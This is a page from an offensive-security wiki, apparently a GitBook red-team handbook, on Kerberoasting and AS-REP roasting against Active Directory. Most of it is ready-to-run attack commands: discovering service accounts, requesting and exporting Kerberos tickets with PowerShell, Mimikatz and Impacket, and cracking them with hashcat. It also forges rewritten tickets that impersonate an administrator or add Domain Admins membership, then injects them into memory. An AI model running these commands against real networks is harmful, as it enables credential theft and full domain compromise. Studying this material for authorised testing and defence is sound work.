The Hive
GitHubLinkedInEmail
  • ๐Ÿ Home
  • ๐ŸŒRECON
    • ๐Ÿ“กPassive (OSINT)
      • โฉMetadata
      • โฉSocial Platforms
        • Email
        • Tumbler
        • Redit
        • Github
        • Tinder
        • TikTok
        • Snapchat
        • Instagram
        • Facebook
        • Twitter
        • Google
        • LinkedIn
    • ๐Ÿ“กActive
      • โฉHost Discovery / Network Mapping
      • โฉnmap cheat sheet
      • โฉmasscan cheat sheet
    • ๐Ÿ“กWeb Recon
      • โฉWeb Server Discovery
      • โฉHidden Hosts
      • โฉDirectories & Subdomains
      • โฉSSL Certs
      • โฉCMS
      • โฉWAF Detection
    • ๐Ÿ“กFirewall Evasion
  • ๐Ÿ“—Web Attacks
    • ๐ŸŸขServer Side
      • ๐ŸŸฉAuthentication Mechanisms
      • ๐ŸŸฉAccess Control (Authorization)
      • ๐ŸŸฉDirectory Traversal
      • ๐ŸŸฉOS Command Injection
      • ๐ŸŸฉServer-Side Request Forgery (SSRF)
      • ๐ŸŸฉXML External Entity (XXE) Injection
      • ๐ŸŸฉFile Upload
      • ๐Ÿ”งSQL Injection
      • ๐ŸŸฉInformation Disclosure
      • ๐ŸŸฉBusiness Logic
    • ๐ŸŸขClient Side
      • ๐ŸŸฉCross-site request forgery (CSRF)
      • ๐Ÿ”งCross-site scripting (XSS)
  • ๐Ÿ“’Network attacks
    • ๐ŸŸกNetwork Services
      • ๐ŸŸจBrute Force
      • ๐ŸŸจDNS
      • ๐ŸŸจIPv6
      • ๐ŸŸจFTP
      • ๐ŸŸจSSH
      • ๐ŸŸจSMB
      • ๐ŸŸจSNMP
      • ๐ŸŸจSMTP
      • ๐ŸŸจPOP3
      • ๐ŸŸจIMAP
      • ๐ŸŸจMSSQL
      • ๐ŸŸจMySQL
      • ๐ŸŸจMSRPC / RPCbind
      • ๐ŸŸจLDAP
      • ๐ŸŸจNTP
      • ๐ŸŸจNFS
      • ๐ŸŸจTelnet
      • ๐ŸŸจWebDAV
      • ๐ŸŸจRDP
      • ๐ŸŸจRSIP
      • ๐ŸŸจRlogin
      • ๐ŸŸจVPNs
      • ๐ŸŸจEcho
      • ๐Ÿ”งRTP
      • ๐Ÿ”งVOIP
        • SIP
    • ๐ŸŸกNetwork Devices
      • ๐ŸŸจIPv6 Attacks
        • Neighbor Impersonation
        • Router Advertisement Flooding
      • ๐ŸŸจSwitch Attacks
        • Cisco Exploitation
        • STP Spoofing
        • VLAN Hopping
        • MAC Flood
      • ๐ŸŸจRouter Attacks
        • Router Exploitation
        • HSRP Hijacking
        • ๐Ÿ”งRIP Spoofing
        • ๐Ÿ”งOSPF Attacks
        • ๐Ÿ”งVRRP MitM
      • ๐ŸŸจNAC Bypass
        • Captive Portal
        • 802.1X / EAP Bypass
      • ๐ŸŸจPrinter Exploitation
    • ๐ŸŸกMITM & Poisoning
      • ๐ŸŸจBettercap
      • ๐ŸŸจHTTPS Downgrade / HSTS Bypass
      • ๐ŸŸจSession Hijackings
      • ๐ŸŸจMalicious Update
      • ๐ŸŸจRDP Downgrade
      • ๐ŸŸจDNS Spoofing
      • ๐ŸŸจNTP Spoofing
      • ๐ŸŸจARP Spoofing
      • ๐ŸŸจDHCP Poisoning
      • ๐ŸŸจDHCPv6 Spoofing
      • ๐ŸŸจSSDP Spoofing
      • ๐ŸŸจWSUS Spoofing
      • ๐ŸŸจADIDNS Poisoning
      • ๐ŸŸจWPAD Abuse
    • ๐ŸŸกWireless Attacks
      • ๐ŸŸจProtocol Concepts
      • ๐ŸŸจBasics
      • ๐ŸŸจAttacks
    • ๐ŸŸกSniffing
      • ๐ŸŸจWireshark
      • ๐ŸŸจtcpdump
    • ๐ŸŸกDenial of Service
  • ๐Ÿ“•Red Team
    • ๐Ÿ”ดWindows
      • โญ•Security Concepts
        • Windows Security Components
        • Active Directory Components
        • Kerberos
        • Loggon Sessions and Access Tokens
        • Permissions and Access Control
        • Windows Registry
        • Object Management
      • โญ•Physical Attack
      • โญ•Enumeration
      • โญ•Privilege Escalation
        • DLL Hijacking
          • Phantom DLL Hijacking / Replacement
          • Search Order Hijacking ( Preloading )
          • DLL Side-Loading
        • Service Misconfigurations
          • Weak Registry Permissions
          • Insecure Service Executables
          • Insecure Permission
          • Unquoted Service Path
        • Creating a New Service (admin to system)
        • Registry
          • AlwaysInstallElevated
          • AutoRuns
        • Scheduled Tasks
        • Mass Roll-outs
        • Startup Apps
        • Installed Applications
        • Loopback Services
        • Insecure GUI APPs
        • Potatos
        • Printspoofer / SEImpersonate
        • PSEXEC (admin to system)
      • โญ•Credential Dumping
      • โญ•Persistence
        • Invisible Account Forger
        • Add User
        • Scheduled Tasks
        • Run Registry Keys
        • Logon Scripts
        • Screensavers Hijack
        • Powershell Profiles & Modules
        • Service Creation/Modification
        • Shortcut Modification
        • Startup Folder
        • RDP backdoors
        • COM Hijacking
    • ๐Ÿ”ดActive Directory
      • โญ•Domain Enumeration
      • โญ•Tools & Frameworks
        • Evil-WinRM
        • CME cheat sheet
        • SharpSploit
        • impacket cheat sheet
        • DeathStar
      • โญ•Exploitation
        • LLMNR Poisoning
        • SMB/NTLM Relay
        • DNS Takeover + LDAP Relay
        • Cracking Hashes
        • Password spraying
        • ADCS + PetitPotam NTLM Relay
        • EternalBlue
        • ZeroLogon
        • MS Exchange ProxyShell
        • MS Exchange ProxyLogon
        • Java JBOSS
      • โญ•Privilege Escalation
        • Token Impersonation
        • DNS Admins
        • AD CS Abuse
        • ACL Abuse
          • GenericAll
          • Write Property
          • Self-membership
          • ForceChangePassword
          • Managed Security Groups
          • Exchange Windows Permissions
        • Group Policy Objects (GPOs)
        • Custom SSPs
        • PrintNightmare
      • โญ•Lateral Movement
        • RDP Password Decryption
        • RDP Session Hijacking
        • headless RDP with SharpRDP
        • Domain Shares
        • SCF File Attacks
        • Pass the Hash / Password
        • Overpass the Hash / Pass the Key
        • Pass The Ticket
        • Kerberosting / AS-REP Rosting
        • Kerberos Delegation
      • โญ•Credential Dumping
        • CredSSP / TSPKG
        • Wdigest Clear Text
        • DPAPI secrets
        • SAM & Registry
        • NTDS.dit & vshadow
        • comsvcs.dll
        • Meterpreter
        • Procdump & LSASS
        • AD User Comments
        • SYSVOL & Group Policy Preferences
        • LAPS Passwords
        • GSMA Passwords
        • HiveNightmare
        • Mimikatz Cheat sheet
        • Other Tools / Techniques
      • โญ•Persistence
        • Certificates
        • DCSync
        • DCShadow
        • Silver Ticket
        • Golden Ticket
        • Skeleton Key
        • WMI
        • PowerShell Remoting
        • Remote Registry
        • Rights Abuse
        • AdminSDHolder
        • DSRM
        • Kerberos Checksum Validation ( MS14-068 )
    • ๐Ÿ”ดLinux
      • โญ•Physical Attacks
      • โญ•Enumeration
      • โญ•Privilege Escalation
        • SUID / SGID abuse
        • /etc/shadow & /etc/passwd
        • cron/crontab abuse
        • Sudo Abuse
        • Capabilities Abuse
        • Environment Variables
          • LD_LIBRARY_PATH
          • LD_PRELOAD
        • Shared Object Injection
        • NFS
        • man CE Pager Argument
        • MySQL UDF
        • UDEVD
        • STDIN/STDOUT
        • Unix Socket Exploitation
        • Dirty Pipe
        • Docker
          • SUID Docker
      • โญ•Lateral Movement
        • Infecting Running Processes
        • VIM Config File Keylogger
        • SSH Hijacking
        • Samba Secrets to Domain Admin
        • Hiding Processes
        • Simple User-mode Rootkits
        • Vino VNC Server
      • โญ•Credential Dumping
        • Swap Dump
        • mimipinguin
        • unshadow
        • 3snake
      • โญ•Persistence
        • Startup User File Backdoor
        • PHP Backdoor
        • Apache mod_rootme
        • Startup Service Backdoor
        • xdg Backdoor
        • rootbash SUID
        • apt Backdoor
        • Driver Backdoor
        • Core Pattern
        • dash Backdoor
        • Creating an SUID Binary
        • Systemd netcat bind shell
        • Xinetd UDP portnock
        • openSSL reverse shell
        • motd Backdoor
        • Auth Log Backdoor
        • RSYSLOG Backdoor
        • sshd Backdoor
        • VIM Config Backdoor
        • .bashrc Backdoor
        • Adding a Root user
        • Crontab Reverse Shell
        • SSH persistence password-less
      • โญ•Covering Tracks
    • ๐Ÿ”ดCommand & Control (C2)
      • โญ•Cobalt Strike
      • โญ•Metasploit
      • โญ•Empire & Starkiller
      • โญ•Covenant
    • ๐Ÿ”ดShells and Payloads
      • โญ•Shell Escape / Interactive Shell
      • โญ•LOL Binaries
      • โญ•msfvenom
      • โญ•SharpShooter & Ivy
      • โญ•Other Payloads
    • ๐Ÿ”ดPayload Delivery
      • โญ•Powershell Reflective DLL Load
      • โญ•HTML Smuggling
      • โญ•Office Macros
      • โญ•DDE Auto - Word/Excel
      • โญ•.SLK Excel
      • โญ•XLM Macro 4.0
      • โญ•LNK
      • โญ•embedded OLE + LNK objects
      • โญ•JScript
      • โญ•HTA
      • โญ•VBS
      • โญ•VBA
      • โญ•RTF
      • โญ•REG
      • โญ•MSI / MSIEXEC
      • โญ•IQY
      • โญ•CHM / HHC
      • โญ•SCR
    • ๐Ÿ”ดPivoting
      • โญ•SSH Forwarding
      • โญ•Socat Stealth Port Forward
      • โญ•Socat Reverse Shell Relay
      • โญ•HTTP Tunneling
      • โญ•ICMP Tunneling
      • โญ•DNS Tunneling
      • โญ•Metasploit Pivoting
      • โญ•Cobalt Strike Pivoteing
      • โญ•VPN Tunneling
      • โญ•Other Tools
    • ๐Ÿ”ดExfiltration / File Transfer
      • โญ•Encode / Decode Files
      • โญ•TCP / UDP
      • โญ•DNS
      • โญ•SSH
      • โญ•ICMP
      • โญ•SMB
      • โญ•FTP
      • โญ•HTTP
      • โญ•Other Methods
    • ๐Ÿ”ดPassword Attacks
      • โญ•Online Attacks
      • โญ•Offline Attack
      • โญ•Word List
      • โญ•Cheat Sheet
    • ๐Ÿ”ดDefense Evasion
      • โญ•Basic Tricks
      • ๐Ÿ”งPowershell Tricks
      • โญ•Disabling Defenses
      • โญ•UAC Bypass
      • โญ•Process Migration
      • โญ•Dechaining Macros
      • โญ•VBA Sandbox Evasion
      • โญ•AMSI Bypass
      • โญ•SRP & AppLocker Bypass
      • โญ•GPO Bypass
  • ๐Ÿ“˜Blue Team
    • ๐Ÿ”ตThreat Modeling / Hunting / Intelligence
    • ๐Ÿ”ตLinux Hardening
      • ๐Ÿ”นOS Security
        • Update Strategy
        • Service Management
        • Physical Security
        • Grub Hardening
        • Kernel Parameters
        • Process Isolation
      • ๐Ÿ”นAccounts & Passwords
        • Users & Groups
        • Password Security & Sudoers
      • ๐Ÿ”นAccess Control & Ownership
      • ๐Ÿ”นFile System Security
      • ๐Ÿ”นIntegrity Check
      • ๐Ÿ”นSandboxing
      • ๐Ÿ”นNetwork
      • ๐Ÿ”นiptables
        • Rule Sets
      • ๐Ÿ”นService Hardening
        • BIND9
        • vsftpd
        • Nginx
        • Apache
        • SSH
      • ๐Ÿ”นSystem Audit
      • ๐Ÿ”นLogging
        • auditd
      • ๐Ÿ”นEncryption
    • ๐Ÿ”ตSecurity Architecture
      • ๐Ÿ”นLayered Security
  • ๐ŸŸชPurple Teaming
    • ๐ŸŸฃAdversary Emulation
  • ๐ŸŸงprogramming
    • ๐ŸŸ C Programming
      • ๐Ÿ”ธBasic Structure
      • ๐Ÿ”ธGCC Compiler
      • ๐Ÿ”ธPreprocessors
      • ๐Ÿ”ธData Types
      • ๐Ÿ”ธType Qualifiers
      • ๐Ÿ”ธPointers
      • ๐Ÿ”ธDynamic Memory Allocation
      • ๐Ÿ”ธLoops
      • ๐Ÿ”ธConditional Statements
      • ๐Ÿ”ธFunctions
      • ๐Ÿ”ธInput / Output
      • ๐Ÿ”ธMacros
      • ๐Ÿ”ธFiles
      • ๐Ÿ”ธStrings Manipulation
      • ๐Ÿ”ธBit Manipulation
      • ๐Ÿ”ธData Structures
        • Arrays
        • Structures
        • Unions
      • ๐Ÿ”ธAbstract Data Types
        • Stack
        • Queue
        • Linked List
          • Singly Linked List
          • Doubly Linked List
      • ๐Ÿ”ธLibraries & Linking
      • ๐Ÿ”ธError Recovery
    • ๐Ÿ”งAssembly ( NASM )
      • Intel IA-32 Environment
      • Basic Structure
      • Variables and Data Types
      • Most-used Instructions
      • input / output
  • ๐ŸŸซMiscellaneous
    • ๐ŸŸคGNU Screen / tmux
    • ๐ŸŸคSSH Tricks
    • ๐ŸŸคCats
      • netcat
      • ncat
      • pwncat
      • socat
      • ๐Ÿ”งpowercat
    • ๐ŸŸคCurl
    • ๐ŸŸคCross-compiling Binaries
Powered by GitBook
On this page
  • Kerberosting
  • SPN Discovery
  • Using SetSPN Binary
  • Using Kerberost Toolkit
  • Using cscript.exe
  • Using Impacket
  • Manual
  • AS-REP roasting
  • Request Service Tickets
  • Using Powershell
  • Using Mimikatz
  • Using Meterpreter KIWI
  • Using Impacket
  • Invoke-kerberost
  • Cracking The Hash
  • Hashcat
  • tgsrepcrack.py
  • Rewrite
  • Rewrite Service Tickets & RAM Injection
  • Other Tools
  1. Red Team
  2. Active Directory
  3. Lateral Movement

Kerberosting / AS-REP Rosting

PreviousPass The TicketNextKerberos Delegation

Last updated 2 years ago

Kerberosting

The process of cracking Kerberos service tickets and rewriting them in order to gain access to the targeted service is called Kerberoast. This is very common attack in red team engagements since it doesnโ€™t require any interaction with the service as legitimate active directory access can be used to request and export the service ticket which can be cracked offline in order to retrieve the plain-text password of the service. This is because service tickets are encrypted with the hash (NTLM) of the service account so any domain user can dump hashes from services without the need to get a shell into the system that is running the service.

Red Teams usually attempt to crack tickets which have higher possibility to be configured with a weak password. Successful cracking of the ticket will not only give access to the service but sometimes it can lead to full domain compromise as often services might run under the context of an elevated account. These tickets can be identified by considering a number of factors such as:

  • SPNs bind to domain user accounts

  • Password last set

  • Password expiration

  • Last logon

Specifically the Kerberoast attack involves five steps:

  1. SPN Discovery

  2. Request Service Tickets

  3. Export Service Tickets

  4. Crack Service Tickets

  5. Rewrite Service Tickets & RAM Injection

The discovery of services in a network by querying the Active Directory for service principal names.

SPN Discovery

Services that support Kerberos authentication require to have a Service Principal Name (SPN) associated to point users to the appropriate resource for connection. Discovery of SPNs inside an internal network is performed via LDAP queries and can assist red teams to identify hosts that are running important services such as Terminal, Exchange, Microsoft SQL etc. and being stealthy at the same time. Furthermore identification of SPNs is the first step to the kerberoasting attack.

Using SetSPN Binary

setspn -T megabank -Q */*

Services that are bind to a domain user account and not a computer account are more likely configured with a weak password since the user has selected the password. Therefore services which they have their Canonical-Name to Users should be targeted for Kerberoasting. From the list of SPNs below the service sql.megabank.local is associated with a user account.

Using Kerberost Toolkit

. .\GetUserSPNs.ps1

Using cscript.exe

There is also a VBS script which is part of the same tookit and can provide the same information. The script can be executed from the windows command prompt by using the native Windows binary cscript.

cscript.exe GetUserSPNs.vbs

Using Impacket

Service Principal Names can be also discovered from non-joined domain systems with the python version of GetUserSPNs which is part of impacket. However valid domain credentials are required for communication with the Active Directory as token based authentication cannot be used.

./GetUserSPNs.py -dc-ip 192.168.56.208 megabank.local/client2:"password.321"

Manual

# Request TGS for kerberoastable account (SPN)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlserver.targetdomain.com"

# Dump TGS to disk
Invoke-Mimikatz -Command '"kerberos::list /export"'

# Crack with TGSRepCrack
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\mssqlsvc.kirbi

Targeted kerberoasting by setting SPN - We need have ACL write permissions to set UserAccountControl flags for the target user, see above for identification of interesting ACLs. Using PowerView:

Set-DomainObject -Identity TargetUser -Set @{serviceprincipalname='any/thing'}

AS-REP roasting

Get the hash for a roastable user (see above for hunting). Using ASREPRoast.ps1:

Get-ASREPHash -UserName TargetUser

Crack the hash with Hashcat:

hashcat -a 0 -m 18200 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

Targeted AS-REP roasting by disabling Kerberos pre-authentication - Again, we need ACL write permissions to set UserAccountControl flags for the target user. Using PowerView:

Set-DomainObject -Identity TargetUser -XOR @{useraccountcontrol=4194304}

Request Service Tickets

Using Powershell

# one ticket
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "WINDC/sql.megabank.local:60111"


# all tickets
 Add-Type -AssemblyName System.IdentityModel 
 setspn.exe -T megabank.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  

Execution of the klist command will list all the available cached tickets.

klist

Using Mimikatz

An alternative solution to request service tickets is through Mimikatz by specifying as a target the service principal name.

kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80

Similarly to klist the list of Kerberos tickets that exist in memory can be retrieved through Mimikatz and save the output to a file:

kerberos::list /export

Note that the service ticket file is binary. Keep this in mind when transferring it with a tool like Netcat, which may mangle it during transfer.

then we can use kerberost tool in kali to crack the service account ticket:

sudo apt update && sudo apt install kerberoast
python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt 1-40a50000-megabank@HTTP~CorpWebServer.corp.com-CORP.COM.kirbi

Using Meterpreter KIWI

Alternatively loading the Kiwi module (meterpreter) will add some additional Mimikatz commands which can performed the same task.

load kiwi
kerberos_ticket_list

Or by executing a custom Kiwi command:

kiwi_cmd kerberos::list

Using Impacket

./GetUserSPNs.py -request megabank.local/client2

Invoke-kerberost

The Invoke-Kerberoast.ps1 664 script extends this attack, and can automatically enumerate all service principal names in the domain, request service tickets for them, and export them in a format ready for cracking in both John the Ripper and Hashcat, completely eliminating the need for Mimikatz in this attack.

Cracking The Hash

Hashcat

The service account hashes will also retrieved in John the Ripper format or this hashcat command:

hashcat -a 0 -m 13100  hash.txt tools/wordlist/SecLists/Passwords/xato-net-10-million-passwords-1000000.txt  --status
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Rewrite

Make user appear to be a different user

./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500  

Add user to another group (in this case Domain Admin)

./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512 

Rewrite Service Tickets & RAM Injection

python kerberoast.py -p Password123 -r megabank_001.kirbi -w megabank.kirbi -u 500
python kerberoast.py -p Password123 -r megabank_001.kirbi -w megabank.kirbi -g 512

The new ticket can be injected back into the memory with the following Mimikatz command in order to perform authentication with the targeted service via Kerberos protocol.

kerberos::ptt PENTESTLAB.kirbi

Other Tools

is a native windows binary which can be used to retrieve the mapping between user accounts and services. This utility can add, delete or view SPN registrations.

toolkit can be used to query the active directory to discover only services that are associated with a user account as a more focused approached compared to SetSPN.

The easiest method to request the service ticket for a specific SPN is through PowerShell as it has been introduced by during his DerbyCon 4.0 .

has a python module which can request Kerberos service tickets that belong to domain users only which should be easier to cracked compared to computer accounts service tickets. However requires valid domain credentials in order to interact with the Active Directory since it will executed from a system that is not part of a domain

Kerberos tickets are signed with the NTLM hash of the password. If the ticket hash has been cracked then it is possible to rewrite the ticket with python script. This tactic will allow to impersonate any domain user or a fake account when the service is going to be accessed. Additionally privilege escalation is also possible as the user can be added into an elevated group such as Domain Admins.

๐Ÿ“•
๐Ÿ”ด
โญ•
SetSPN
kerberost
Tim Medin
talk
Impacket
tgsrepcrack.py
Kerberoast
@_xpn_ - Kerberos AD Attacks - More Roasting with AS-REPXPN InfoSec Blog
Logo
Empire/Invoke-Kerberoast.ps1 at master ยท EmpireProject/EmpireGitHub
GitHub - cyberark/RiskySPN: Detect and abuse risky SPNsGitHub
GitHub - xan7r/kerberoastGitHub
GitHub - nidem/kerberoastGitHub
Kerberoasting Without Mimikatz - harmj0yharmj0y
Logo
Logo
Logo
Logo